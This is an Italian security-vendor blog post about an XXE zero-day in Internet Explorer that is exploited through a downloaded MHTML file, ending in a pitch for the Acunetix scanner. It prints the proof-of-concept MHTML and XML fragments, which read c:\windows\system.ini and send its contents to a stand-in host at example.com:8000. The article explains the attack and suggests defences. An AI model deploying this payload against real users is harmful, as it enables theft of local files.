Listino Supporto Partner Contatti 800 13.40.41

Articoli

Icona delle News


Vulnerabilità delle entità esterne XML in Internet Explorer

06/04/20 CoreTech Blog

×Non sei ancora nostro cliente Acunetix? Diventa Partner CoreTech e visita il nostro configuratore prezzi

Quando si sfrutta una tipica vulnerabilità di entità esterne XML (XXE), l'utente malintenzionato tenta di accedere al contenuto dei file su un server Web. Tuttavia, xxE vulnerabilità possono anche consentire all'attaccante di rubare dati privati dall'utente. Tale caso è stato recentemente scoperto da un ricercatore di sicurezza John Page (hyp3rlinx). Si basa su una vulnerabilità zero-day in Internet Explorer.

Anatomia dell'attacco

Fortunatamente per gli utenti di Windows, la vulnerabilità in Internet Explorer non è così facile da sfruttare. Una vittima deve prima scaricare ed eseguire un file di archivio MHTML (.mht). Molti utenti sono già istruiti abbastanza bene per sapere che non dovrebbero eseguire strani file da Internet.

D'altra parte, molte persone considerano i file di archivio MHTML innocui e non hanno ripensamenti durante l'esecuzione. Il file utilizzato nell'attacco proof-of-concept è stato ignorato anche da Windows Defender e SmartScreen.

Di seguito è riportata una descrizione di come è possibile eseguire l'attacco proof-of-concept:

  1. L'aggressore attira la vittima a visitare un sito dannoso. Il sito dannoso contiene un collegamento per scaricare un file di archivio MHTML.
  2. La vittima scarica il file .mht e fa doppio clic su di esso.
  3. Il file .mht viene aperto automaticamente in Internet Explorer ed eseguito:
    a. Il file MHTML contiene una definizione che punta a un file XML sul server dell'utente malintenzionato.
    b. Il file MHTML scarica e include il file XML.
    c. Il file XML incluso contiene una definizione di entità esterna che punta a un file sensibile locale.
    d. Il file MHTML contiene uno script che attiva la funzione di stampa di IE (window.print()).
  4. Il browser della vittima invia una richiesta GET con il contenuto del file sensibile locale al sito dell'attaccante.

Frammento chiave del file MHTML di esempio:

<body>

<xml>

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY % sp SYSTEM "http://example.com/datatears.xml">

%sp;

%param1;

]>

<r>&exfil;</r>

<r>&exfil;</r>

<r>&exfil;</r>

<r>&exfil;</r>

</xml>

<script>window.print();

</script>

</body>

Il file XML incluso:

<!ENTITY % data SYSTEM "c:\windows\system.ini">

<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://example.com:8000/?%data;'>">

<!ENTITY % data SYSTEM "file:///c:/windows/system.ini">

<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://example.com:8000/?%data;'>">

Per la descrizione completa e il contenuto di tutti i file, vedere il rapporto sulla vulnerabilità originale.

Protezione contro XXE

Nel caso di questo particolare problema, non vi è alcuna protezione diretta fino a quando Microsoft non risolve Internet Explorer. Alcuni software antivirus già riconoscono questo problema e blocca tali file MHTML da scaricare, quindi può essere utile per ridurre il rischio. Ciò che aiuta di più, tuttavia, è quello di educare gli utenti a non scaricare ed eseguire file sconosciuti da Internet, anche se non sono file EXE e anche se l'antivirus non viene attivato.

D'altra parte, le vulnerabilità XXE lato server sono molto comuni nelle applicazioni web. Le vulnerabilità delle entità esterne XML occupano il numero 4 nell'elenco OWASP Top 10 più recente. Fortunatamente, è facile verificare se il tuo sito web o applicazione web è vulnerabile a XXE e altre vulnerabilità eseguendo una scansione web automatizzata utilizzando lo scanner di vulnerabilità Acunetix, che include un modulo scanner XXE specializzato. Chiedi una demo e scopri di più sull'esecuzione di scansioni XXE sul tuo sito web o applicazione web.


Articoli su Acunetix e Hacking

Introduzione alle web shell - parte 2: 101 Uso di PHPIntroduzione alle web shell - parte 1Iniezioni di NoSQL e come evitarleDebunking 5 miti sulla postura della sicurezza informaticaConfigurazione passo passo di Acunetix con JenkinsAnche il più forte cade: un'iniezione SQL in Sophos XG FirewallCosa sono i riferimenti a oggetti diretti non sicuriAcunetix rilascia Business Logic RecorderCome recuperare da un evento del sito Web compromessoCome difendersi dagli hacker Black Hat durante la pandemia COVID-19Che cos'è l'inclusione remota dei file (RFI)?Apache Security - 10 consigli per un'installazione sicuraUn nuovo sguardo sugli attacchi correlati al proxy inversoVulnerabilità delle entità esterne XML in Internet ExplorerVulnerabilità delle password comuni e come evitarleChe cosa sono le iniezioni HTMLTutto quello che devi sapere sugli attacchi Man-in-the-MiddleTesta le tue competenze XSS utilizzando siti vulnerabiliRed Teaming – 5 consigli su come farlo in modo sicuroPratiche di codifica sicura – I tre principi chiavePerché hacker malintenzionati hanno messo gli occhi sugli ospedaliMutation XSS nella ricerca GoogleLa maledizione delle vecchie librerie JavaIgnorare SOP utilizzando la cache del browserDirottamento di sessione e altri attacchi di sessioneCome e perché evitare reindirizzamenti e inoltri non convalidati?Come abbiamo trovato un altro XSS in Google con AcunetixChe cos'è un buffer overflowChe cos'è l'overflow di IntegerChe cos'è HSTS e perché dovrei usarlo?Che cosa è OS Command InjectionCoreTech assicura protezione dei siti Web con AcunetixCoreTech distributore Acunetix a fianco dei partner per la CyberSecurityCyberSecurity applicativa, nuova opportunità per voi!

Knowledge Base su Acunetix e Hacking

Il Pen Testing applicativo con Acunetix
Ripe Ncc Member
vmware
CloudLinux
Plesk
HP
Microsoft